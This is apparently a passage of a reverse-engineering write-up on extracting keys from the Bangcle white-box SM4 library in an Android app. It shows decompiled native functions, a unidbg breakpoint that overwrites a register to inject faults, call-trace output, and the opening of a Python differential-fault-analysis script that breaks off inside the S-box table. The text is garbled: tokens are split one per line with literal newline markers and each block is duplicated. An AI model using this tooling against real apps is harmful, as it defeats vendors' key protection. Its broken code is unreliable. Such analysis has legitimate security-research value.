if
( !v12 )
\\n
return
v16;
\\n
strtoul
((&dword_0 + 3),
\\"crypto_tool\\"
,
\\"bangcle crypto tool error code : %d\\"
);
\\n
return
0LL;
\\n}
jbyteArray __fastcall Java_com_bangcle_CryptoTool_qsm4EncryptByteArr(
JNIEnv *a1,
\\n
__int64
a2,
\\n
void
*a3,
\\n
__int64
a4,
\\n
__int64
a5)
\\n{
int
v5;
// w1
\\n
JNIEnv *v10;
// [xsp+38h] [xbp+38h] BYREF
\\n
unsigned
int
v11;
// [xsp+44h] [xbp+44h] BYREF
\\n
int
v12;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v13;
// [xsp+4Ch] [xbp+4Ch]
\\n
jbyte *v14;
// [xsp+50h] [xbp+50h]
\\n
char
*v15;
// [xsp+58h] [xbp+58h]
\\n
jbyteArray v16;
// [xsp+60h] [xbp+60h]
\\n
v10 = a1;
\\n
v14 = 0LL;
\\n
v15 = 0LL;
\\n
dword_18018 = 9;
\\n
v12 = sub_5674(a3, a4);
\\n
if
( v12 )
\\n
{
\\n
v12 = -1;
\\n
}
\\n
else
\\n
{
\\n
v14 = (*v10)->GetByteArrayElements(v10, a3, 0LL);
\\n
if
( v14 )
\\n
{
\\n
v13 = (*v10)->GetArrayLength(v10, a3);
\\n
v11 = 16 * (v13 / 16 + 1);
\\n
v15 = _cxa_finalize(v11);
\\n
if
( v15 )
\\n
{
\\n
v12 = sub_509C(&v10, v14, v13, v15, &v11, a4, a5);
\\n
if
( !v12 )
\\n
{
\\n
v16 = (*v10)->NewByteArray(v10, v11);
\\n
(*v10)->SetByteArrayRegion(v10, v16, 0LL, v11, v15);
\\n
}
\\n
}
\\n
else
\\n
{
\\n
v12 = -1;
\\n
}
\\n
}
\\n
else
\\n
{
\\n
v12 = -1;
\\n
}
\\n
}
\\n
if
( v14 )
\\n
(*v10)->ReleaseByteArrayElements(v10, a3, v14, 2LL);
\\n
if
( v15 )
\\n
strchr
(v15, v5);
\\n
if
( !v12 )
\\n
return
v16;
\\n
strtoul
((&dword_0 + 3),
\\"crypto_tool\\"
,
\\"bangcle crypto tool error code : %d\\"
);
\\n
return
0LL;
\\n}
__int64
__fastcall sub_509C(JNIEnv *a1,
__int64
a2, unsigned
int
a3,
__int64
a4,
__int64
a5,
__int64
a6,
__int64
a7)
\\n{
int
v7;
// w1
\\n
unsigned
int
v16;
// [xsp+68h] [xbp+58h]
\\n
signed
int
v17;
// [xsp+6Ch] [xbp+5Ch]
\\n
unsigned
int
v18;
// [xsp+70h] [xbp+60h]
\\n
unsigned
int
v19;
// [xsp+74h] [xbp+64h]
\\n
__int64
v20;
// [xsp+78h] [xbp+68h]
\\n
__int64
v21;
// [xsp+80h] [xbp+70h]
\\n
char
*v22;
// [xsp+88h] [xbp+78h]
\\n
v20 = 0LL;
\\n
v21 = 0LL;
\\n
v22 = 0LL;
\\n
v16 = 0;
\\n
bangcle_init(*a1);
\\n
v17 = (*((*a1)->reserved0 + 168))(*a1, a6);
\\n
if
( (v17 & 1) != 0 )
\\n
{
\\n
v16 = -1;
\\n
}
\\n
else
\\n
{
\\n
v21 = (*((*a1)->reserved0 + 169))(*a1, a6, 0LL);
\\n
if
( v21 )
\\n
{
\\n
v18 = v17 / 2;
\\n
v22 = _cxa_finalize((v17 / 2));
\\n
if
( v22 )
\\n
{
\\n
sub_4F9C(v21, v17, v22);
\\n
if
( !a7 )
\\n
{
\\n
if
( dword_18018 == 9 )
\\n
v16 = bangcle_QSM4_ecb_encrypt(a2, a3, a4, a5, v22, v18, 1LL);
\\n
else
\\n
v16 = -1;
\\n
}
\\n
if
( a7 )
\\n
{
\\n
v20 = (*((*a1)->reserved0 + 184))(*a1, a7, 0LL);
\\n
if
( v20 )
\\n
{
\\n
v19 = (*((*a1)->reserved0 + 171))(*a1, a7);
\\n
if
( dword_18018 == 8 )
\\n
bangcle_skb_encrypt(a2, a3, a4, a5, v20, v19, v22, v18, 1, 1);
\\n
if
( dword_18018 == 9 )
\\n
v16 = bangcle_QSM4_cbc_encrypt(a2, a3, a4, a5, v20, v19, v22, v18, 1);
\\n
else
\\n
v16 = -1;
\\n
}
\\n
else
\\n
{
\\n
v16 = -1;
\\n
}
\\n
}
\\n
}
\\n
else
\\n
{
\\n
v16 = -1;
\\n
}
\\n
}
\\n
else
\\n
{
\\n
v16 = -1;
\\n
}
\\n
}
\\n
if
( v21 )
\\n
(*((*a1)->reserved0 + 170))(*a1, a6, v21);
\\n
if
( v22 )
\\n
strchr
(v22, v7);
\\n
if
( v20 )
\\n
(*((*a1)->reserved0 + 192))(*a1, a7, v20, 2LL);
\\n
return
v16;
\\n}
__int64
__fastcall sub_509C(JNIEnv *a1,
__int64
a2, unsigned
int
a3,
__int64
a4,
__int64
a5,
__int64
a6,
__int64
a7)
\\n{
int
v7;
// w1
\\n
unsigned
int
v16;
// [xsp+68h] [xbp+58h]
\\n
signed
int
v17;
// [xsp+6Ch] [xbp+5Ch]
\\n
unsigned
int
v18;
// [xsp+70h] [xbp+60h]
\\n
unsigned
int
v19;
// [xsp+74h] [xbp+64h]
\\n
__int64
v20;
// [xsp+78h] [xbp+68h]
\\n
__int64
v21;
// [xsp+80h] [xbp+70h]
\\n
char
*v22;
// [xsp+88h] [xbp+78h]
\\n
v20 = 0LL;
\\n
v21 = 0LL;
\\n
v22 = 0LL;
\\n
v16 = 0;
\\n
bangcle_init(*a1);
\\n
v17 = (*((*a1)->reserved0 + 168))(*a1, a6);
\\n
if
( (v17 & 1) != 0 )
\\n
{
\\n
v16 = -1;
\\n
}
\\n
else
\\n
{
\\n
v21 = (*((*a1)->reserved0 + 169))(*a1, a6, 0LL);
\\n
if
( v21 )
\\n
{
\\n
v18 = v17 / 2;
\\n
v22 = _cxa_finalize((v17 / 2));
\\n
if
( v22 )
\\n
{
\\n
sub_4F9C(v21, v17, v22);
\\n
if
( !a7 )
\\n
{
\\n
if
( dword_18018 == 9 )
\\n
v16 = bangcle_QSM4_ecb_encrypt(a2, a3, a4, a5, v22, v18, 1LL);
\\n
else
\\n
v16 = -1;
\\n
}
\\n
if
( a7 )
\\n
{
\\n
v20 = (*((*a1)->reserved0 + 184))(*a1, a7, 0LL);
\\n
if
( v20 )
\\n
{
\\n
v19 = (*((*a1)->reserved0 + 171))(*a1, a7);
\\n
if
( dword_18018 == 8 )
\\n
bangcle_skb_encrypt(a2, a3, a4, a5, v20, v19, v22, v18, 1, 1);
\\n
if
( dword_18018 == 9 )
\\n
v16 = bangcle_QSM4_cbc_encrypt(a2, a3, a4, a5, v20, v19, v22, v18, 1);
\\n
else
\\n
v16 = -1;
\\n
}
\\n
else
\\n
{
\\n
v16 = -1;
\\n
}
\\n
}
\\n
}
\\n
else
\\n
{
\\n
v16 = -1;
\\n
}
\\n
}
\\n
else
\\n
{
\\n
v16 = -1;
\\n
}
\\n
}
\\n
if
( v21 )
\\n
(*((*a1)->reserved0 + 170))(*a1, a6, v21);
\\n
if
( v22 )
\\n
strchr
(v22, v7);
\\n
if
( v20 )
\\n
(*((*a1)->reserved0 + 192))(*a1, a7, v20, 2LL);
\\n
return
v16;
\\n}
emulator.attach().addBreakPoint(module.base +
0x5100
,
new
BreakPointCallback() {
\\n
@Override
\\n
public
boolean
onHit(Emulator<?> emulator,
long
address) {
\\n
emulator.getBackend().reg_write(Arm64Const.UC_ARM64_REG_X0,
0x40008
);
\\n
return
true
;
\\n
}
\\n});
emulator.attach().addBreakPoint(module.base +
0x5100
,
new
BreakPointCallback() {
\\n
@Override
\\n
public
boolean
onHit(Emulator<?> emulator,
long
address) {
\\n
emulator.getBackend().reg_write(Arm64Const.UC_ARM64_REG_X0,
0x40008
);
\\n
return
true
;
\\n
}
\\n});
__int64
__fastcall bangcle_internal_crypto(
\\n
__int64
a1,
\\n
int
a2,
\\n
__int64
a3,
\\n
__int64
a4,
\\n
__int64
a5,
\\n
unsigned
int
a6,
\\n
__int64
a7,
\\n
unsigned
int
a8,
\\n
__int64
a9)
\\n{
unsigned
int
prio;
// [xsp+54h] [xbp+54h]
\\n
int
v17;
// [xsp+5Ch] [xbp+5Ch]
\\n
int
v18;
// [xsp+60h] [xbp+60h]
\\n
__int64
v19;
// [xsp+78h] [xbp+78h] BYREF
\\n
int
v20;
// [xsp+84h] [xbp+84h]
\\n
int
v21;
// [xsp+90h] [xbp+90h]
\\n
v19 = 0LL;
\\n
v17 = 0;
\\n
if
( dword_18008 )
\\n
{
\\n
if
( dword_1800C )
\\n
{
\\n
if
( sub_1704(a7, a8, &v19) == -1 )
\\n
{
\\n
prio = 5;
\\n
}
\\n
else
\\n
{
\\n
if
( !v20 || v20 == 3 || v20 == 4 || v20 == 7 || v20 == 9 )
\\n
{
\\n
v17 = 16;
\\n
}
\\n
else
if
( v20 == 1 || v20 == 2 || v20 == 5 || v20 == 6 )
\\n
{
\\n
v17 = 8;
\\n
}
\\n
v18 = sub_2084(a1, a3, a5, a6, v17, a7);
\\n
if
( v18 <= 0 )
\\n
{
\\n
if
( sub_1EDC(a9, &v19) )
\\n
{
\\n
prio = 2;
\\n
}
\\n
else
if
( *(a9 + 28) || !(a2 % v17) )
\\n
{
\\n
if
( v21 == 1 && a2 % v17 )
\\n
prio = 14;
\\n
else
\\n
prio = 3;
\\n
}
\\n
else
\\n
{
\\n
prio = 14;
\\n
}
\\n
}
\\n
else
\\n
{
\\n
prio = v18;
\\n
}
\\n
}
\\n
}
\\n
else
\\n
{
\\n
prio = 7;
\\n
}
\\n
}
\\n
else
\\n
{
\\n
prio = 6;
\\n
}
\\n
sub_1D2C(&v19);
\\n
return
prio;
\\n}
__int64
__fastcall bangcle_internal_crypto(
\\n
__int64
a1,
\\n
int
a2,
\\n
__int64
a3,
\\n
__int64
a4,
\\n
__int64
a5,
\\n
unsigned
int
a6,
\\n
__int64
a7,
\\n
unsigned
int
a8,
\\n
__int64
a9)
\\n{
unsigned
int
prio;
// [xsp+54h] [xbp+54h]
\\n
int
v17;
// [xsp+5Ch] [xbp+5Ch]
\\n
int
v18;
// [xsp+60h] [xbp+60h]
\\n
__int64
v19;
// [xsp+78h] [xbp+78h] BYREF
\\n
int
v20;
// [xsp+84h] [xbp+84h]
\\n
int
v21;
// [xsp+90h] [xbp+90h]
\\n
v19 = 0LL;
\\n
v17 = 0;
\\n
if
( dword_18008 )
\\n
{
\\n
if
( dword_1800C )
\\n
{
\\n
if
( sub_1704(a7, a8, &v19) == -1 )
\\n
{
\\n
prio = 5;
\\n
}
\\n
else
\\n
{
\\n
if
( !v20 || v20 == 3 || v20 == 4 || v20 == 7 || v20 == 9 )
\\n
{
\\n
v17 = 16;
\\n
}
\\n
else
if
( v20 == 1 || v20 == 2 || v20 == 5 || v20 == 6 )
\\n
{
\\n
v17 = 8;
\\n
}
\\n
v18 = sub_2084(a1, a3, a5, a6, v17, a7);
\\n
if
( v18 <= 0 )
\\n
{
\\n
if
( sub_1EDC(a9, &v19) )
\\n
{
\\n
prio = 2;
\\n
}
\\n
else
if
( *(a9 + 28) || !(a2 % v17) )
\\n
{
\\n
if
( v21 == 1 && a2 % v17 )
\\n
prio = 14;
\\n
else
\\n
prio = 3;
\\n
}
\\n
else
\\n
{
\\n
prio = 14;
\\n
}
\\n
}
\\n
else
\\n
{
\\n
prio = v18;
\\n
}
\\n
}
\\n
}
\\n
else
\\n
{
\\n
prio = 7;
\\n
}
\\n
}
\\n
else
\\n
{
\\n
prio = 6;
\\n
}
\\n
sub_1D2C(&v19);
\\n
return
prio;
\\n}
__int64
__fastcall bangcle_WB_QSM4_encrypt(
__int64
a1,
__int64
a2,
__int64
*a3)
\\n{
int
i;
// [xsp+38h] [xbp+38h]
\\n
int
j;
// [xsp+38h] [xbp+38h]
\\n
int
v7;
// [xsp+40h] [xbp+40h]
\\n
int
v8;
// [xsp+40h] [xbp+40h]
\\n
int
v9;
// [xsp+40h] [xbp+40h]
\\n
int
v10;
// [xsp+40h] [xbp+40h]
\\n
int
v11;
// [xsp+40h] [xbp+40h]
\\n
int
v12;
// [xsp+40h] [xbp+40h]
\\n
int
v13;
// [xsp+40h] [xbp+40h]
\\n
int
v14;
// [xsp+40h] [xbp+40h]
\\n
unsigned
int
v15;
// [xsp+40h] [xbp+40h]
\\n
int
v16;
// [xsp+44h] [xbp+44h]
\\n
int
v17;
// [xsp+44h] [xbp+44h]
\\n
int
v18;
// [xsp+44h] [xbp+44h]
\\n
int
v19;
// [xsp+44h] [xbp+44h]
\\n
int
v20;
// [xsp+44h] [xbp+44h]
\\n
int
v21;
// [xsp+44h] [xbp+44h]
\\n
int
v22;
// [xsp+44h] [xbp+44h]
\\n
int
v23;
// [xsp+44h] [xbp+44h]
\\n
unsigned
int
v24;
// [xsp+44h] [xbp+44h]
\\n
int
v25;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v26;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v27;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v28;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v29;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v30;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v31;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v32;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v33;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v34;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v35;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v36;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v37;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v38;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v39;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v40;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v41;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v42;
// [xsp+4Ch] [xbp+4Ch]
\\n
__int64
v43;
// [xsp+50h] [xbp+50h]
\\n
_BYTE v44[16];
// [xsp+58h] [xbp+58h] BYREF
\\n
v43 = *a3;
\\n
for
( i = 0; i <= 15; ++i )
\\n
v44[i] = *(bangcle_QSM4_encrypt_xor0 + *(a1 + i));
\\n
v7 = sub_2DA4(v44, 0LL);
\\n
v16 = sub_2DA4(v44, 1LL);
\\n
v25 = sub_2DA4(v44, 2LL);
\\n
v34 = sub_2DA4(v44, 3LL);
\\n
v8 = v7 ^ sub_2EA8(v16 ^ v25 ^ v34, 0LL, v43);
\\n
v17 = v16 ^ sub_2EA8(v8 ^ v25 ^ v34, 1LL, v43);
\\n
v26 = v25 ^ sub_2EA8(v8 ^ v17 ^ v34, 2LL, v43);
\\n
v35 = v34 ^ sub_2EA8(v8 ^ v17 ^ v26, 3LL, v43);
\\n
v9 = v8 ^ sub_2EA8(v17 ^ v26 ^ v35, 4LL, v43);
\\n
v18 = v17 ^ sub_2EA8(v9 ^ v26 ^ v35, 5LL, v43);
\\n
v27 = v26 ^ sub_2EA8(v9 ^ v18 ^ v35, 6LL, v43);
\\n
v36 = v35 ^ sub_2EA8(v9 ^ v18 ^ v27, 7LL, v43);
\\n
v10 = v9 ^ sub_2EA8(v18 ^ v27 ^ v36, 8LL, v43);
\\n
v19 = v18 ^ sub_2EA8(v10 ^ v27 ^ v36, 9LL, v43);
\\n
v28 = v27 ^ sub_2EA8(v10 ^ v19 ^ v36, 10LL, v43);
\\n
v37 = v36 ^ sub_2EA8(v10 ^ v19 ^ v28, 11LL, v43);
\\n
v11 = v10 ^ sub_2EA8(v19 ^ v28 ^ v37, 12LL, v43);
\\n
v20 = v19 ^ sub_2EA8(v11 ^ v28 ^ v37, 13LL, v43);
\\n
v29 = v28 ^ sub_2EA8(v11 ^ v20 ^ v37, 14LL, v43);
\\n
v38 = v37 ^ sub_2EA8(v11 ^ v20 ^ v29, 15LL, v43);
\\n
v12 = v11 ^ sub_2EA8(v20 ^ v29 ^ v38, 16LL, v43);
\\n
v21 = v20 ^ sub_2EA8(v12 ^ v29 ^ v38, 17LL, v43);
\\n
v30 = v29 ^ sub_2EA8(v12 ^ v21 ^ v38, 18LL, v43);
\\n
v39 = v38 ^ sub_2EA8(v12 ^ v21 ^ v30, 19LL, v43);
\\n
v13 = v12 ^ sub_2EA8(v21 ^ v30 ^ v39, 20LL, v43);
\\n
v22 = v21 ^ sub_2EA8(v13 ^ v30 ^ v39, 21LL, v43);
\\n
v31 = v30 ^ sub_2EA8(v13 ^ v22 ^ v39, 22LL, v43);
\\n
v40 = v39 ^ sub_2EA8(v13 ^ v22 ^ v31, 23LL, v43);
\\n
v14 = v13 ^ sub_2EA8(v22 ^ v31 ^ v40, 24LL, v43);
\\n
v23 = v22 ^ sub_2EA8(v14 ^ v31 ^ v40, 25LL, v43);
\\n
v32 = v31 ^ sub_2EA8(v14 ^ v23 ^ v40, 26LL, v43);
\\n
v41 = v40 ^ sub_2EA8(v14 ^ v23 ^ v32, 27LL, v43);
\\n
v15 = v14 ^ sub_2EA8(v23 ^ v32 ^ v41, 28LL, v43);
\\n
v24 = v23 ^ sub_2EA8(v15 ^ v32 ^ v41, 29LL, v43);
\\n
v33 = v32 ^ sub_2EA8(v15 ^ v24 ^ v41, 30LL, v43);
\\n
v42 = v41 ^ sub_2EA8(v15 ^ v24 ^ v33, 31LL, v43);
\\n
sub_2E3C(v42, a2);
\\n
sub_2E3C(v33, a2 + 4);
\\n
sub_2E3C(v24, a2 + 8);
\\n
sub_2E3C(v15, a2 + 12);
\\n
for
( j = 0; j <= 15; ++j )
\\n
*(a2 + j) = *(bangcle_QSM4_encrypt_xor1 + *(a2 + j));
\\n
return
__stack_chk_guard;
\\n}
__int64
__fastcall bangcle_WB_QSM4_encrypt(
__int64
a1,
__int64
a2,
__int64
*a3)
\\n{
int
i;
// [xsp+38h] [xbp+38h]
\\n
int
j;
// [xsp+38h] [xbp+38h]
\\n
int
v7;
// [xsp+40h] [xbp+40h]
\\n
int
v8;
// [xsp+40h] [xbp+40h]
\\n
int
v9;
// [xsp+40h] [xbp+40h]
\\n
int
v10;
// [xsp+40h] [xbp+40h]
\\n
int
v11;
// [xsp+40h] [xbp+40h]
\\n
int
v12;
// [xsp+40h] [xbp+40h]
\\n
int
v13;
// [xsp+40h] [xbp+40h]
\\n
int
v14;
// [xsp+40h] [xbp+40h]
\\n
unsigned
int
v15;
// [xsp+40h] [xbp+40h]
\\n
int
v16;
// [xsp+44h] [xbp+44h]
\\n
int
v17;
// [xsp+44h] [xbp+44h]
\\n
int
v18;
// [xsp+44h] [xbp+44h]
\\n
int
v19;
// [xsp+44h] [xbp+44h]
\\n
int
v20;
// [xsp+44h] [xbp+44h]
\\n
int
v21;
// [xsp+44h] [xbp+44h]
\\n
int
v22;
// [xsp+44h] [xbp+44h]
\\n
int
v23;
// [xsp+44h] [xbp+44h]
\\n
unsigned
int
v24;
// [xsp+44h] [xbp+44h]
\\n
int
v25;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v26;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v27;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v28;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v29;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v30;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v31;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v32;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v33;
// [xsp+48h] [xbp+48h]
\\n
unsigned
int
v34;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v35;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v36;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v37;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v38;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v39;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v40;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v41;
// [xsp+4Ch] [xbp+4Ch]
\\n
unsigned
int
v42;
// [xsp+4Ch] [xbp+4Ch]
\\n
__int64
v43;
// [xsp+50h] [xbp+50h]
\\n
_BYTE v44[16];
// [xsp+58h] [xbp+58h] BYREF
\\n
v43 = *a3;
\\n
for
( i = 0; i <= 15; ++i )
\\n
v44[i] = *(bangcle_QSM4_encrypt_xor0 + *(a1 + i));
\\n
v7 = sub_2DA4(v44, 0LL);
\\n
v16 = sub_2DA4(v44, 1LL);
\\n
v25 = sub_2DA4(v44, 2LL);
\\n
v34 = sub_2DA4(v44, 3LL);
\\n
v8 = v7 ^ sub_2EA8(v16 ^ v25 ^ v34, 0LL, v43);
\\n
v17 = v16 ^ sub_2EA8(v8 ^ v25 ^ v34, 1LL, v43);
\\n
v26 = v25 ^ sub_2EA8(v8 ^ v17 ^ v34, 2LL, v43);
\\n
v35 = v34 ^ sub_2EA8(v8 ^ v17 ^ v26, 3LL, v43);
\\n
v9 = v8 ^ sub_2EA8(v17 ^ v26 ^ v35, 4LL, v43);
\\n
v18 = v17 ^ sub_2EA8(v9 ^ v26 ^ v35, 5LL, v43);
\\n
v27 = v26 ^ sub_2EA8(v9 ^ v18 ^ v35, 6LL, v43);
\\n
v36 = v35 ^ sub_2EA8(v9 ^ v18 ^ v27, 7LL, v43);
\\n
v10 = v9 ^ sub_2EA8(v18 ^ v27 ^ v36, 8LL, v43);
\\n
v19 = v18 ^ sub_2EA8(v10 ^ v27 ^ v36, 9LL, v43);
\\n
v28 = v27 ^ sub_2EA8(v10 ^ v19 ^ v36, 10LL, v43);
\\n
v37 = v36 ^ sub_2EA8(v10 ^ v19 ^ v28, 11LL, v43);
\\n
v11 = v10 ^ sub_2EA8(v19 ^ v28 ^ v37, 12LL, v43);
\\n
v20 = v19 ^ sub_2EA8(v11 ^ v28 ^ v37, 13LL, v43);
\\n
v29 = v28 ^ sub_2EA8(v11 ^ v20 ^ v37, 14LL, v43);
\\n
v38 = v37 ^ sub_2EA8(v11 ^ v20 ^ v29, 15LL, v43);
\\n
v12 = v11 ^ sub_2EA8(v20 ^ v29 ^ v38, 16LL, v43);
\\n
v21 = v20 ^ sub_2EA8(v12 ^ v29 ^ v38, 17LL, v43);
\\n
v30 = v29 ^ sub_2EA8(v12 ^ v21 ^ v38, 18LL, v43);
\\n
v39 = v38 ^ sub_2EA8(v12 ^ v21 ^ v30, 19LL, v43);
\\n
v13 = v12 ^ sub_2EA8(v21 ^ v30 ^ v39, 20LL, v43);
\\n
v22 = v21 ^ sub_2EA8(v13 ^ v30 ^ v39, 21LL, v43);
\\n
v31 = v30 ^ sub_2EA8(v13 ^ v22 ^ v39, 22LL, v43);
\\n
v40 = v39 ^ sub_2EA8(v13 ^ v22 ^ v31, 23LL, v43);
\\n
v14 = v13 ^ sub_2EA8(v22 ^ v31 ^ v40, 24LL, v43);
\\n
v23 = v22 ^ sub_2EA8(v14 ^ v31 ^ v40, 25LL, v43);
\\n
v32 = v31 ^ sub_2EA8(v14 ^ v23 ^ v40, 26LL, v43);
\\n
v41 = v40 ^ sub_2EA8(v14 ^ v23 ^ v32, 27LL, v43);
\\n
v15 = v14 ^ sub_2EA8(v23 ^ v32 ^ v41, 28LL, v43);
\\n
v24 = v23 ^ sub_2EA8(v15 ^ v32 ^ v41, 29LL, v43);
\\n
v33 = v32 ^ sub_2EA8(v15 ^ v24 ^ v41, 30LL, v43);
\\n
v42 = v41 ^ sub_2EA8(v15 ^ v24 ^ v33, 31LL, v43);
\\n
sub_2E3C(v42, a2);
\\n
sub_2E3C(v33, a2 + 4);
\\n
sub_2E3C(v24, a2 + 8);
\\n
sub_2E3C(v15, a2 + 12);
\\n
for
( j = 0; j <= 15; ++j )
\\n
*(a2 + j) = *(bangcle_QSM4_encrypt_xor1 + *(a2 + j));
\\n
return
__stack_chk_guard;
\\n}
[!]
#################### Function Call ####################
\\n[*] RX@0x1200502c[libbangcle_crypto_tool.so]0x502c CALL -> 0x1020 (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x120030bc[libbangcle_crypto_tool.so]0x30bc CALL -> 0x2da4 (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x12003568[libbangcle_crypto_tool.so]0x3568 CALL -> 0x2ea8 (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x120037f4[libbangcle_crypto_tool.so]0x37f4 CALL -> 0x2e3c (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x12002c2c[libbangcle_crypto_tool.so]0x2c2c CALL -> 0x30ec (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x1200502c[libbangcle_crypto_tool.so]0x502c CALL -> 0x1020 (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x120030bc[libbangcle_crypto_tool.so]0x30bc CALL -> 0x2da4 (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x12003568[libbangcle_crypto_tool.so]0x3568 CALL -> 0x2ea8 (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x120037f4[libbangcle_crypto_tool.so]0x37f4 CALL -> 0x2e3c (Count: 20)
[!]
#################### Function Call ####################
\\n[*] RX@0x12002c2c[libbangcle_crypto_tool.so]0x2c2c CALL -> 0x30ec (Count: 20)
import
random
\\nfrom
enum
import
Enum
\\n# 定义故障状态枚举类型
FaultStatus
=
Enum(
\'FaultStatus\'
,
\\n
\'Crash Loop NoFault MinorFault MajorFault WrongFault round31Fault round30Fault round29Fault\'
)
\\nblockSize
=
16
\\nsliceSize
=
blockSize
/
/
4
\\n# 基础运算函数定义
xor
=
lambda
a, b:
list
(
map
(
lambda
x, y: x ^ y, a, b))
# 异或运算
\\nrotl
=
lambda
x, n: ((x << n) &
0xffffffff
) | ((x >> (
32
-
n)) &
0xffffffff
)
# 循环左移
\\n# 字节序转换函数
get_uint32_be
=
lambda
key_data: ((key_data[
0
] <<
24
) | (key_data[
1
] <<
16
) | (key_data[
2
] <<
8
) | (key_data[
3
]))
# 大端序
\\nget_uint32_le
=
lambda
key_data: ((key_data[
3
] <<
24
) | (key_data[
2
] <<
16
) | (key_data[
1
] <<
8
) | (key_data[
0
]))
# 小端序
\\nput_uint32_be
=
lambda
n: [((n >>
24
) &
0xff
), ((n >>
16
) &
0xff
), ((n >>
8
) &
0xff
), ((n) &
0xff
)]
\\nbytes_to_list
=
lambda
data: [i
for
i
in
data]
\\nlist_to_bytes
=
lambda
data: b\'\'.join([bytes((i,))
for
i
in
data])
\\ndump_byte
=
lambda
a:
print
(\'
\'.join(map(lambda x: (\'
/
x
\' if len(hex(x)) >= 4 else \'
/
x0\')
+
hex
(x)[
2
:], a)))
\\nl_inv
=
lambda
c: c ^ rotl(c,
2
) ^ rotl(c,
4
) ^ rotl(c,
8
) ^ rotl(c,
12
) ^ rotl(c,
14
) ^ rotl(c,
16
) ^ rotl(c,
\\n
18
) ^ rotl(
\\n
c,
22
) ^ rotl(c,
24
) ^ rotl(c,
30
)
\\nint2bytes
=
lambda
state, size: (state).to_bytes(size, byteorder
=
\'big\'
, signed
=
False
)
\\nbytes2int
=
lambda
state:
int
.from_bytes(state,
\'big\'
, signed
=
False
)
\\nintersect
=
lambda
a, b: [val
for
val
in
a
if
val
in
b]
\\nsingleState
=
lambda
a, index: (a >> (index
*
8
)) &
0xff
\\ngetSlices
=
lambda
block: [(block >> (
32
*
i) &
0xffffffff
)
for
i
in
range
(
0
,
4
)]
\\nbyte2slices
=
lambda
state: [get_uint32_be(state[i
*
4
: (i
+
1
)
*
4
])
for
i
in
range
(
4
)]
\\nfind_candidate_index
=
lambda
diff: [i
for
i
in
range
(
4
,
len
(diff))
if
diff[i] !
=
b
\'\\\\x00\'
][
0
]
%
4
\\ndef
check_diff(diffmap, n):
\\n
for
i
in
range
(n
-
1
):
\\n
if
diffmap[i]
is
not
i:
\\n
return
False
\\n
return
True
\\nSM4_ENCRYPT
=
0
\\nSM4_DECRYPT
=
1
\\nSM4_BOXES_TABLE
=
[
\\n
0xd6
,
0x90
,
0xe9
,
0xfe
,
0xcc
,
0xe1
,
0x3d
,
0xb7
,
0x16
,
0xb6
,
0x14
,
0xc2
,
0x28
,
0xfb
,
0x2c
,
\\n
0x05
,
0x2b
,
0x67
,
0x9a
,
0x76
,
0x2a
,
0xbe
,
0x04
,
0xc3
,
0xaa
,
0x44
,
0x13
,
0x26
,
0x49
,
0x86
,
\\n
0x06
,
0x99
,
0x9c
,
0x42
,
0x50
,
0xf4
,
0x91
,
0xef
,
0x98
,
0x7a
,
0x33
,
0x54
,
0x0b
,
0x43
,
0xed
,
\\n
0xcf
,
0xac
,
0x62
,
0xe4
,
0xb3
,
0x1c
,
0xa9
,
0xc9
,
0x08
,
0xe8
,
0x95
,
0x80
,
0xdf
,
0x94
,
0xfa
,
\\n
0x75
,
0x8f
,
0x3f
,
0xa6
,
0x47
,
0x07
,
0xa7
,
0xfc
,
0xf3
,
0x73
,
0x17
,
0xba
,
0x83
,
0x59
,
0x3c
,
\\n
0x19
,
0xe6
,
0x85
,
0x4f
,
0xa8
,
0x68
,
0x6b
,
0x81
,
0xb2
,
0x71
,
0x64
,
0xda
,
0x8b
,
0xf8
,
0xeb
,
\\n
0x0f
,
0x4b
,
0x70
,
0x56
,
0x9d
,
0x35
,
0x1e
,
0x24
,
0x0e
,
0x5e
,
0x63
,
0x58
,
0xd1
,
0xa2
,
0x25
,
\\n
0x22
,
0x7c
,
0x3b
,
0x01
,
0x21
,
0x78
,
0x87
,
0xd4
,
0x00
,
0x46
,
0x57
,
0x9f
,
0xd3
,
0x27
,
0x52
,
\\n
0x4c
,
0x36
,
0x02
